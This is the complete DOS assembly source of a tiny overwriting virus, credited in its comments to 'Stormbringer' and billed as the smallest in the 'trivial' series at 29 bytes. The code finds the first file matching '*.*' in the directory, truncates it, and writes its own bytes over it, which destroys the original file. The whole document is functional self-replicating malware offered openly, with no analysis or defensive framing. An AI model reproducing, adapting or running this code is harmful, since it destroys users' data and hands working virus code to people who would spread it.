;Smallest in the trivial series of viruses, I think.... ;Last I saw was 30 bytes - this one goes to 29. ;Code by Stormbringer... stupid virus, but small. .model tiny .radix 16 .code org 100 start: FindFile: xchg cx,ax ;ax defaults to zero on runtime - cx doesn't push si ;si defaults to 100h under dos - use this l8r mov dx,offset filemask mov ah,4e int 21 OverwriteFile: mov dx,9e mov ah,3c int 21 WriteVirus: xchg bx,ax mov ah,40 pop dx ;get 100h from si earlier for write pointer mov cl,endvir-start ;move only to CL, CH is already zero int 21 Terminate: ret ;terminate by returning to PSP (Int 20) filemask db '*.*',0 endvir: end start